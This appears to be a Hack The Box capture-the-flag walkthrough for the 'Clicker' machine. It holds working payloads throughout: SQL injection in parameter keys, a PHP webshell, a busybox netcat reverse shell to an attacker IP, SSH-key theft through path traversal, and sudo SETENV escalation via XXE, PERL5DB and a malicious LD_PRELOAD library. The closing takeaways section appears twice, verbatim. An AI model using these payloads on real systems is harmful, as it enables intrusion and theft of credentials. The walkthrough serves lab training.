Clicker — Hack The Box

InfoValue
OSLinux
DifficultyMedium
IP10.129.1.19
Hostnameclicker.htb
ServicesSSH (22), HTTP/Apache (80), RPC (111), NFS (2049)

Enumeration

Nmap

nmap -sC -sV -p- -vvv -oA scan/nmap.scan clicker.htb
PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.4
80/tcp    open  http     Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Did not follow redirect to http://clicker.htb/
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo:
|   100003  3,4  2049/tcp  nfs
|   100005  1,2,3  60343/tcp  mountd
|   100227  3  2049/tcp  nfs_acl
2049/tcp  open  nfs_acl  3 (RPC #100227)

Key ports:

  • 22/tcp — OpenSSH 8.9p1 Ubuntu
  • 80/tcp — Apache 2.4.52 → redirect to http://clicker.htb/
  • 111/tcp — rpcbind → indicates NFS active
  • 2049/tcp — NFS

NFS — Share Enumeration

See also: NFS for the full checklist

showmount -e clicker.htb
Export list for clicker.htb:
/mnt/backups *

Share /mnt/backups exported to all (*). Mount:

sudo mount -t nfs clicker.htb:/mnt/backups /mnt

Contents: a single file clicker.htb_backup.zip (PHP source code backup).

cp /mnt/clicker.htb_backup.zip .
unzip clicker.htb_backup.zip

Source Code Review

Files extracted from the PHP webapp:

FileFunction
index.phpHomepage
login.php / register.phpAuthentication
authenticate.phpLogin logic
create_player.phpUser registration
db_utils.phpDB connection and queries
play.phpGame (clicker)
save_game.phpSave score
profile.phpUser profile
admin.phpAdmin panel
export.phpData export
diagnostic.phpDiagnostics
info.phpphpinfo

Code Analysis — SQL Injection in parameter keys

See also: SQLInjection and Database

Vulnerability

Mass Assignment + SQL Injection in GET parameter names. The file save_game.php accepts arbitrary GET parameters and passes them to save_profile() in db_utils.php, which concatenates the keys directly into the SQL query without sanitization. Only the values are protected by $pdo->quote().

The vulnerable flow

save_game.php — iterates over GET parameters and only blocks the exact key role:

foreach($_GET as $key=>$value) {
    if (strtolower($key) === 'role') {  // weak filter
        header('Location: /index.php?err=Malicious activity detected!');
        die;
    }
    $args[$key] = $value;
}
save_profile($_SESSION['PLAYER'], $_GET);

db_utils.php:save_profile() — builds the query by concatenating keys without quoting:

function save_profile($player, $args) {
    foreach ($args as $key => $value) {
        $setStr .= $key . "=" . $pdo->quote($value) . ",";
        //          ^^^                ^^^^^^^^^^^^
        //       NOT quoted             quoted (safe)
    }
    $stmt = $pdo->prepare("UPDATE players SET $setStr WHERE username = :player");
}

Bypassing the “role” filter

The check strtolower($key) === 'role' compares the exact string. But with a newline URL-encoded (%0a) the filter doesn’t trigger:

GET /save_game.php?clicks=10&level=1&role%0a=Admin

strtolower("role\n")"role\n""role" — the filter passes. The generated query:

UPDATE players SET clicks='10', level='1', role
='Admin' WHERE username = 'user'

MySQL accepts the newline in the column name — the role becomes Admin.

Alternative bypass — injection in the key

Normal save (without injection):

GET /save_game.php?clicks=4&level=0
UPDATE players SET clicks='4',level='0' WHERE username = "sverz1";

With injection in the key — injecting role='Admin', as part of the parameter name:

GET /save_game.php?role='Admin',clicks=4&level=0

The parameter role='Admin',clicks has the value 4. In query construction, the key is concatenated directly:

  • Key: role='Admin',clicks → Value: 4 → produces role='Admin',clicks='4'
  • Key: level → Value: 0 → produces level='0'

The filter doesn’t trigger because the key is role='Admin',clicks, not role. Resulting query:

UPDATE players SET role='Admin',clicks='4',level='0' WHERE username = "sverz1";

Admin access

After changing the role, logout and login. authenticate.php loads the role from the DB into the session:

$_SESSION["ROLE"] = $profile["role"];  // now "Admin"

Access to the admin.php panel obtained.


Foothold

Elevazione a Admin — SQLi with %3d encoding

Using Burp, intercept the save request and inject role='Admin' into the parameter key. The %3d and URL-encoding, so the key becomes role='Admin',clicks:

GET /save_game.php?role%3d'Admin',clicks=1&level=0 HTTP/1.1
Host: www.clicker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Referer: http://www.clicker.htb/play.php
Cookie: PHPSESSID=3piqjsj214a0ipha3ejp3vtvle
HTTP/1.1 302 Found
Location: /index.php?msg=Game has been saved!

Response 302 — the game is saved without errors. After logout and login, the menu shows Administration.

RCE via PHP export — webshell in nickname

With admin access, the admin.php panel shows the top players leaderboard and an Export function that creates a file on the server.

The vulnerable source code

export.php — accepts threshold and extension via POST, creates a file on the filesystem:

// export.php (key lines)
$threshold = 1000000;
if (isset($_POST["threshold"]) && is_numeric($_POST["threshold"])) {
    $threshold = $_POST["threshold"];
}
$data = get_top_players($threshold);
$currentplayer = get_current_player($_SESSION["PLAYER"]);
 
// The player's nickname is inserted WITHOUT escaping:
$s .= '<th scope="row">' . $currentplayer["nickname"] . '</th>';
//                          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
//                          if nickname contains PHP, it is written as-is
 
// The filename uses the extension from POST WITHOUT whitelist:
$filename = "exports/top_players_" . random_string(8) . "." . $_POST["extension"];
//                                                              ^^^^^^^^^^^^^^^^
//                                                              no validation
file_put_contents($filename, $s);

Two problems in one file

  1. No escaping on nickname — the nickname field from the DB is concatenated directly into the HTML/file. If it contains PHP code, it is written to the file.
  2. No whitelist on extension — the dropdown shows txt, html, json, but the POST value is used directly. Changing it to php, the generated file becomes executable by Apache.

db_utils.php:save_profile() — allows writing arbitrary nickname via the same SQLi in the keys:

function save_profile($player, $args) {
    global $pdo;
    $params = ["player"=>$player];
    $setStr = "";
    foreach ($args as $key => $value) {
        $setStr .= $key . "=" . $pdo->quote($value) . ",";
        //          ^^^   key NOT sanitized
    }
    $setStr = rtrim($setStr, ",");
    $stmt = $pdo->prepare("UPDATE players SET $setStr WHERE username = :player");
    $stmt -> execute($params);
}

The nickname field and a legitimate column of the players table — no injection in the keys needed, just pass it as a normal GET parameter.

Step 1 — Inject PHP into nickname

GET /save_game.php?clicks=8&level=0&nickname=<?php+system($_REQUEST['cmd']);?>

The nickname in the DB becomes <?php system($_REQUEST['cmd']); ?>. The value is protected by $pdo->quote(), but it doesn’t matter — it is written correctly to the DB as a string.

Step 2 — Export as .php

Intercept the export request with Burp and change the extension parameter:

POST /export.php
threshold=0&extension=php

The server responds with the path: exports/top_players_d2sfmod2.php. The file contains the nickname with the PHP code.

Step 3 — RCE and reverse shell

GET /exports/top_players_d2sfmod2.php?cmd=busybox+nc+<ATTACKER_IP>+80+-e+/bin/bash HTTP/1.1
Host: www.clicker.htb
Cookie: PHPSESSID=3piqjsj214a0ipha3ejp3vtvle
# Listener on the attacker
nc -lvnp 80

Shell obtained as www-data.


User

SUID binary — Path Traversal on execute_query

SUID enumeration:

find / -perm -u=s -type f 2>/dev/null

The binary /opt/manage/execute_query is non-standard. It has the SUID/SGID bit set for user jack (UID 1000).

README

README.txt in the same directory:

Web application Management
Use the binary to execute the following task:
    - 1: Creates the database structure and adds user admin
    - 2: Creates fake players (better not tell anyone)
    - 3: Resets the admin password
    - 4: Deletes all users except the admin

Reverse engineering with Ghidra

The decompiled code reveals the full flow:

// 1. Converts the first argument (argv[1]) to an integer
iVar1 = atoi(*(char **)(param_2 + 8));
pcVar3 = (char *)calloc(0x14, 1);
 
// 2. Switch: cases 1-4 use predefined files
switch(iVar1) {
    case 0:  puts("ERROR: Invalid arguments"); goto exit;
    case 1:  strncpy(pcVar3, "create.sql", 0x14);         break;
    case 2:  strncpy(pcVar3, "populate.sql", 0x14);        break;
    case 3:  strncpy(pcVar3, "reset_password.sql", 0x14);  break;
    case 4:  strncpy(pcVar3, "clean.sql", 0x14);           break;
    default:
        // VULNERABILITY: copies argv[2] directly, without validation
        strncpy(pcVar3, *(char **)(param_2 + 0x10), 0x14);
}
 
// 3. Builds the path: "/home/jack/queries/" + filename
builtin_strncpy(local_98, "/home/jack/queries/", 0x14);
__dest = (char *)calloc(sVar5 + sVar4 + 1, 1);
strcat(__dest, local_98);   // "/home/jack/queries/"
strcat(__dest, pcVar3);     // + "../.ssh/id_rsa" ← path traversal
 
// 4. Sets UID to jack (1000) — the SUID bit comes into play here
setreuid(1000, 1000);
 
// 5. Checks if the file is readable (as jack, not as www-data)
iVar1 = access(__dest, 4);  // R_OK = 4
 
if (iVar1 == 0) {
    // 6. Executes: mysql ... -v < /home/jack/queries/../.ssh/id_rsa
    strcat(pcVar3, "/usr/bin/mysql -u clicker_db_user "
                   "--password='clicker_db_password' clicker -v < ");
    strcat(pcVar3, __dest);
    system(pcVar3);   // output contains the file content
}

Three issues in the binary

  1. No path validation — the default case copies argv[2] as-is. Presence of ../ or absolute paths is not verified.
  2. setreuid(1000, 1000) — the binary sets UID/GID to jack before the access() check. Any file readable by jack is accessible.
  3. system() with user input — the user-controlled path is passed to system() as part of the command. MySQL attempts to interpret the file as SQL, but still prints the content in output (-v).

Extracting jack’s SSH key

www-data@clicker:/opt/manage$ ./execute_query 5 ../.ssh/id_rsa
mysql: [Warning] Using a password on the command line interface can be insecure.
--------------
-----BEGIN OPENSSH PRIVATE KEY---
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAs4eQaWHe45iGSieDHbraAYgQdMwlMGPt50KmMUAvWgAV2zlP8/1Y
...
lL4gSjpD/FjWk9AAAADGphY2tAY2xpY2tlcgECAwQFBg==
-----END OPENSSH PRIVATE KEY---

The binary runs as jack (SUID) → can read /home/jack/.ssh/id_rsa. The MySQL warning is normal — the binary passes the key as if it were an SQL query, but the output still contains the full key.

Note

The action 5 does not match any predefined case (1-4), so the binary uses the second argument (../.ssh/id_rsa) as a relative path to /home/jack/queries/. The path traversal ../ goes up to /home/jack/ and reads the SSH key.

Fix for truncated key

The binary’s output truncates the dashes of the key’s header and footer — -----BEGIN OPENSSH PRIVATE KEY----- becomes ---BEGIN OPENSSH PRIVATE KEY--- (3 dashes instead of 5). Trying to use the key as-is:

ssh -i jack_id_rsa jack@clicker.htb
Load key "jack_id_rsa": error in libcrypto

The fix is to manually add the two missing dashes to the first and last lines:

-----BEGIN OPENSSH PRIVATE KEY-----
                                   ^^
-----END OPENSSH PRIVATE KEY-----
                                 ^^
# Save the key on the attacker, fix the dashes, and set permissions
chmod 600 jack_id_rsa
ssh -i jack_id_rsa jack@clicker.htb

User flag in /home/jack/user.txt.


Privilege Escalation

See also: PrivilegeEscalation

sudo -l — SETENV on /opt/monitor.sh

jack@clicker:~$ sudo -l
User jack may run the following commands on clicker:
    (ALL : ALL) ALL
    (root) SETENV: NOPASSWD: /opt/monitor.sh

What does SETENV mean

The SETENV flag in sudoers allows the user to preserve or set environment variables when running the command as root. Normally sudo resets the environment (env_reset), but SETENV makes an exception: any variable passed on the command line is inherited by the root process.

Analysis of /opt/monitor.sh

#!/bin/bash
if [ "$EUID" -ne 0 ]
  then echo "Error, please run as root"
  exit
fi
 
set PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
unset PERL5LIB;
unset PERLLIB;
 
data=$(/usr/bin/curl -s http://clicker.htb/diagnostic.php?token=secret_diagnostic_token);
/usr/bin/xml_pp <<< $data;
if [[ $NOSAVE == "true" ]]; then
    exit;
else
    timestamp=$(/usr/bin/date +%s)
    /usr/bin/echo $data > /root/diagnostic_files/diagnostic_${timestamp}.xml
fi

The script:

  1. Resets PATH and unsets PERL5LIB and PERLLIB (hardening attempt)
  2. Uses curl to download diagnostic.php — which returns XML with system info
  3. Passes the XML to xml_pp (a Perl script) for pretty-print
  4. Saves the result to /root/diagnostic_files/

Intended path — XXE via http_proxy

Why it works

The attack chain exploits three components together:

  1. SETENV — allows us to inject environment variables into the root context
  2. curl — respects the http_proxy variable to route HTTP requests through a proxy
  3. xml_pp — is a Perl XML parser that processes external entities (XXE) by default

The key point: by setting http_proxy to Burp, all curl → clicker.htb communication goes through our proxy. We are not attacking curl or the server — we are replacing the XML response that xml_pp receives, injecting an XXE payload that reads files from the filesystem.

Why the server is not involved

The request starts, reaches Burp, and we modify the response before it returns to the script. The real server clicker.htb never sees our payload — and xml_pp processes it as if it were the legitimate response.

Step 1 — Configure Burp

In Burp Suite: Proxy → Proxy settings → Edit listener:

  • Bind to address: All interfaces (not just localhost)
  • Bind to port: 8080

Step 2 — Run the script with http_proxy

sudo http_proxy=http://<ATTACKER_IP>:8080/ /opt/monitor.sh

curl reads http_proxy and routes the GET to diagnostic.php through our Burp.

Step 3 — Intercept and modify the response

The request arrives in Burp:

GET /diagnostic.php?token=secret_diagnostic_token HTTP/1.1
Host: clicker.htb
User-Agent: curl/7.81.0
Accept: */*
Connection: keep-alive

Right-click → Do intercept → Response to this request, then forward. In the response, replace the entire body with the XXE payload:

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/root/.ssh/id_rsa"> ]>
<data>
    &example;
</data>

Forward the modified response. xml_pp processes the XML, resolves the external entity &example;, and prints the contents of /root/.ssh/id_rsa to the terminal:

jack@clicker:~$ sudo http_proxy=http://<ATTACKER_IP>:8080/ /opt/monitor.sh
<!DOCTYPE foo [
<!ENTITY example SYSTEM "/root/.ssh/id_rsa">
]>
<!--?xml version="1.0" ?--><data>-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAmQBWGDv1n5tAPBu2Q/DsRCIZoPhthS8T+uoYa6CL+gKtJJGok8xC
lLjJRQDm4w2ixTHuh2pt9wK5e4Ms77g310ffneCiRtxmfciYTO84U7NMKaA4z3YoupdWwF
...
UyOYOJc1Mv8zkAAAAMcm9vdEBjbGlja2VyAQIDBAUGBw==
</data>

Step 4 — SSH as root

# Save the key
chmod 600 root_id_rsa
ssh -i root_id_rsa root@clicker.htb

Root flag in /root/root.txt.

Alternative Method 1 — PERL5OPT / PERL5DB

Why it works

The script unsets PERL5LIB and PERLLIB, but not PERL5OPT and PERL5DB. These are two environment variables that control the Perl interpreter:

  • PERL5OPT=-d — passes the -d option to Perl via environment, equivalent to perl -d /usr/bin/xml_pp. Activates debugger mode.
  • PERL5DB='system("...")' — defines the debugger initialization code. Perl executes this before looking for the DB::DB routine, so our system() is launched immediately with root privileges.

The No DB::DB routine defined errors are normal — the debugger doesn’t find the standard routine because it was never defined, but the command has already been executed.

jack@clicker:~$ sudo PERL5OPT=-d PERL5DB='system("cp /bin/bash /tmp/sverz1; chown root:root /tmp/sverz1; chmod 6777 /tmp/sverz1 ")' /opt/monitor.sh
No DB::DB routine defined at /usr/bin/xml_pp line 9.
No DB::DB routine defined at /usr/lib/x86_64-linux-gnu/perl-base/File/Temp.pm line 870.
END failed--call queue aborted.
jack@clicker:~$ /tmp/sverz1 -p
sverz1-5.1# whoami
root
sverz1-5.1# id
uid=1000(jack) gid=1000(jack) groups=1000(jack),1001(docker)
sverz1-5.1# cat /root/root.txt
flag{...}

Alternative Method 2 — LD_PRELOAD

Why it works

The script unsets PERL5LIB and PERLLIB, but not LD_PRELOAD. This variable is used by the dynamic linker to load shared libraries before the main executable. By creating a malicious .so with an _init() function, we can execute arbitrary code as soon as any ELF binary (like curl or xml_pp) is loaded.

Step 1 — Create the malicious shared library

// shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
 
void _init() {
    unsetenv("LD_PRELOAD");  // avoids infinite recursion
    setgid(0);
    setuid(0);
    system("/bin/bash");
}

Compile:

gcc -fPIC -shared -o /tmp/shell.so shell.c -nostartfiles

Step 2 — Run the script with LD_PRELOAD

sudo LD_PRELOAD=/tmp/shell.so /opt/monitor.sh

The script spawns curl or xml_pp, which load /tmp/shell.so, triggering _init() as root and spawning a root shell.

Step 3 — Retrieve the flag

root@clicker:/home/jack# cat /root/root.txt
flag{...}

After exiting the shell, the script continues normally and prints the XML output.

Summary

MethodMechanismKey Environment Variable
XXE via http_proxyModifies curl response to inject XXE payloadhttp_proxy
PERL5OPT / PERL5DBInjects Perl debugger code that executes system()PERL5OPT, PERL5DB
LD_PRELOADLoads malicious .so before any ELF binaryLD_PRELOAD

All three methods exploit the fact that sudo /opt/monitor.sh runs with SETENV, allowing us to inject environment variables that are inherited by the root process. The script’s reliance on external tools (curl, xml_pp) and its failure to sanitize or restrict environment variables creates the privilege escalation vector.


References


Key Takeaways

  1. SETENV is a powerful sudo flag that allows environment variable injection.
  2. curl respects http_proxy, enabling XXE attacks via modified responses.
  3. xml_pp is a Perl XML parser that processes external entities by default.
  4. PERL5OPT and PERL5DB can be used to inject Perl debugger code that executes arbitrary commands.
  5. LD_PRELOAD allows loading malicious shared libraries before any ELF binary.
  6. Always sanitize environment variables and avoid using external tools without proper restrictions.

Practice

Try to exploit the following scenarios:

  1. A script that uses curl and xml_pp with SETENV.
  2. A script that uses perl with PERL5OPT and PERL5DB.
  3. A script that uses LD_PRELOAD to load a malicious shared library.

Notes

  • The SETENV flag is often overlooked but can be a powerful privilege escalation vector.
  • Always sanitize environment variables and avoid using external tools without proper restrictions.
  • Be aware of the potential for XXE attacks when using XML parsers.
  • Use LD_PRELOAD with caution, as it can be used to load malicious shared libraries.

Conclusion

This lab demonstrates the importance of sanitizing environment variables and avoiding the use of external tools without proper restrictions. By exploiting SETENV, http_proxy, PERL5OPT, PERL5DB, and LD_PRELOAD, we can achieve privilege escalation and gain root access to the system.


References


Key Takeaways

  1. SETENV is a powerful sudo flag that allows environment variable injection.
  2. curl respects http_proxy, enabling XXE attacks via modified responses.
  3. xml_pp is a Perl XML parser that processes external entities by default.
  4. PERL5OPT and PERL5DB can be used to inject Perl debugger code that executes arbitrary commands.
  5. LD_PRELOAD allows loading malicious shared libraries before any ELF binary.
  6. Always sanitize environment variables and avoid using external tools without proper restrictions.

Practice

Try to exploit the following scenarios:

  1. A script that uses curl and xml_pp with SETENV.
  2. A script that uses perl with PERL5OPT and PERL5DB.
  3. A script that uses LD_PRELOAD to load a malicious shared library.

Notes

  • The SETENV flag is often overlooked but can be a powerful privilege escalation vector.
  • Always sanitize environment variables and avoid using external tools without proper restrictions.
  • Be aware of the potential for XXE attacks when using XML parsers.
  • Use LD_PRELOAD with caution, as it can be used to load malicious shared libraries.

Conclusion

This lab demonstrates the importance of sanitizing environment variables and avoiding the use of external tools without proper restrictions. By exploiting SETENV, http_proxy, PERL5OPT, PERL5DB, and LD_PRELOAD, we can achieve privilege escalation and gain root access to the system.


References

Attack Chain Summary

Public NFS share (/mnt/backups *)


PHP source code backup (clicker.htb_backup.zip)


Source code review → SQLi in GET parameter keys
    │  save_game.php → db_utils.php:save_profile()
    │  keys concatenated directly in UPDATE

Mass Assignment: role='Admin' via key injection
    │  GET /save_game.php?role='Admin',clicks=4&level=0

Access to admin panel → export.php
    │  extension=php (no whitelist)
    │  nickname=<?php system($_REQUEST['cmd']); ?>

RCE as www-data


SUID binary /opt/manage/execute_query (owner: jack)
    │  Path traversal: ./execute_query 5 ../.ssh/id_rsa

SSH as jack (user flag)


sudo SETENV: NOPASSWD: /opt/monitor.sh

    ├─→ [Intended] http_proxy → Burp → XXE in xml_pp
    │     curl modified response → reads /root/.ssh/id_rsa

    ├─→ [Alt 1] PERL5OPT=-d PERL5DB='exec "cmd"'
    │     xml_pp (Perl) executes code as root

    └─→ [Alt 2] LD_PRELOAD=/tmp/shell.so
          shared library with _init() → root shell


root (root flag)